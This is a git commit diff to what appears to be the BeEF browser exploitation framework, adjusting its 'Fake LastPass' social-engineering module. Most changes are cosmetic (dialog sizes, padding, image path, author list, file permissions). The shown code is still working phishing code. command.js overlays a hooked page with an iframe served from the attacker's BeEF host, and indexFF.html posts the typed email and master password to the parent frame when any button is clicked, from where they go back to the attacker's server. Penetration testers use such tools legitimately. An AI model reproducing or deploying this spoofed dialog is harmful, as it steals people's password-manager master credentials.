This commit is contained in:
bcoles
2013-11-05 16:00:55 +10:30
13 changed files with 12 additions and 17 deletions

2
modules/social_engineering/fake_lastpass/command.js Normal file → Executable file
View File

@@ -26,7 +26,7 @@ beef.execute(function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages');
} else {
// Don't know how NON Chrome browsers look - so just going to pop the FF dialog
beef.dom.createIframe('custom','get',{'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/indexFF.html','id':'LPIFRAME'}, {'width':'280px','height':'345px','position':'fixed','left':(($j(window).width()/2)-140)+'px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'0px solid black','overflow':'hidden'});
beef.dom.createIframe('custom','get',{'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/indexFF.html','id':'LPIFRAME'}, {'width':'260px','height':'300px','position':'fixed','left':(($j(window).width()/2)-130)+'px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'0px solid black','overflow':'hidden'});
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Non-Chrome IFrame Created .. awaiting messages');
}

2
modules/social_engineering/fake_lastpass/config.yaml Normal file → Executable file
View File

@@ -10,6 +10,6 @@ beef:
category: "Social Engineering"
name: "Fake LastPass"
description: "Displays a fake LastPass user dialog."
authors: ["xntrik"]
authors: ["xntrik", "gcattani"]
target:
user_notify: ['ALL']

View File

Before

Width:  |  Height:  |  Size: 1.7 KiB

After

Width:  |  Height:  |  Size: 1.7 KiB

0
modules/social_engineering/fake_lastpass/icon.png Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

0
modules/social_engineering/fake_lastpass/index.html Normal file → Executable file
View File

25
modules/social_engineering/fake_lastpass/indexFF.html Normal file → Executable file
View File

@@ -31,10 +31,6 @@ $(document).ready(function() {
parent.postMessage('Show Vault changed to: ' + $('#showvault').prop('checked'),'*');
});
$('#disableffpwd').change(function() {
parent.postMessage('Disable FF Password Management changed to: ' + $('disableffpwd').prop('checked'),'*');
});
$('#login,#cancel,#forgot,#screenkeyboard,#createaccount').click(function() {
parent.postMessage('Button Clicked - username field: ' + $('#u').val() + '; password field: ' + $('#p').val(),'*');
parent.postMessage('KILLFRAME','*');
@@ -45,21 +41,20 @@ $(document).ready(function() {
</script>
</head><body>
<div style="text-align: center; padding-bottom:5px"><img src="icon.png" /></div>
<div style="text-align: center; padding-bottom:5px"><img src="/img/icon.png" /></div>
<form>
<div style="text-align: center">
<div style="text-align: left; padding-bottom:5px">Email</div>
<div style="text-align: left; padding-bottom:5px"><input type="text" style="width:245px;height:20px" id='u' /></div>
<div style="text-align: left; padding-bottom:5px">Master Password</div>
<div style="text-align: left; padding-bottom:5px"><input type="password" style="width:245px;height:20px" id='p' /></div>
<div style="text-align: left; padding-bottom:5px"><input type="checkbox" checked="checked" id='rememberemail'>Remember Email</input></div>
<div style="text-align: left; padding-bottom:5px"><input type="checkbox" id='rememberpassword'>Remember Password</input></div>
<div style="text-align: left; padding-bottom:5px"><input type="checkbox" checked="checked" id='showvault'>Show My LastPass Vault After Login</input></div>
<div style="text-align: left; padding-bottom:10px"><input type="checkbox" checked="checked" id='disableffpwd'>Disable Insecure Firefox Password Management</input></div>
<div style="text-align: left; padding-left: 12px; padding-bottom:5px">Email</div>
<div style="text-align: left; padding-left: 12px; padding-bottom:5px"><input type="text" style="width:220px;height:20px" id='u' /></div>
<div style="text-align: left; padding-left: 12px;padding-bottom:5px">Master Password</div>
<div style="text-align: left; padding-left: 12px;padding-bottom:10px"><input type="password" style="width:220px;height:20px" id='p' /></div>
<div style="text-align: left; padding-left: 12px; padding-bottom:5px"><input type="checkbox" checked="checked" id='rememberemail'>Remember Email</input></div>
<div style="text-align: left; padding-left: 12px; padding-bottom:5px"><input type="checkbox" id='rememberpassword'>Remember Password</input></div>
<div style="text-align: left; padding-left: 12px; padding-bottom:10px"><input type="checkbox" checked="checked" id='showvault'>Show My LastPass Vault After Login</input></div>
</div>
<div style="text-align:center; padding-bottom:5px">
<div style="text-align:left; padding-bottom: 5px"><a href="#" style="text-decoration: none" id='forgot'>I forgot my password, Help!</a></div>
<div style="text-align:center; padding-left: 15px; padding-bottom:5px">
<div style="text-align:left; padding-bottom: 10px"><a href="#" style="text-decoration: none" id='forgot'>I forgot my password, Help!</a></div>
<div style="text-align:left; padding-bottom: 10px"><a href="#" style="text-decoration: none" id='screenkeyboard'>Screen Keyboard</a> &nbsp;&nbsp; <a href="#" style="text-decoration: none" id='createaccount'>Create an Account</a></div>
</div>

0
modules/social_engineering/fake_lastpass/jquery-1.5.2.min.js vendored Normal file → Executable file
View File

0
modules/social_engineering/fake_lastpass/key_small.png Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

View File

Before

Width:  |  Height:  |  Size: 14 KiB

After

Width:  |  Height:  |  Size: 14 KiB

0
modules/social_engineering/fake_lastpass/module.rb Normal file → Executable file
View File

0
modules/social_engineering/fake_lastpass/q3Jrp.png Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 521 B

After

Width:  |  Height:  |  Size: 521 B

View File

Before

Width:  |  Height:  |  Size: 1.2 KiB

After

Width:  |  Height:  |  Size: 1.2 KiB

0
modules/social_engineering/fake_lastpass/xsmall.png Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 1.5 KiB

After

Width:  |  Height:  |  Size: 1.5 KiB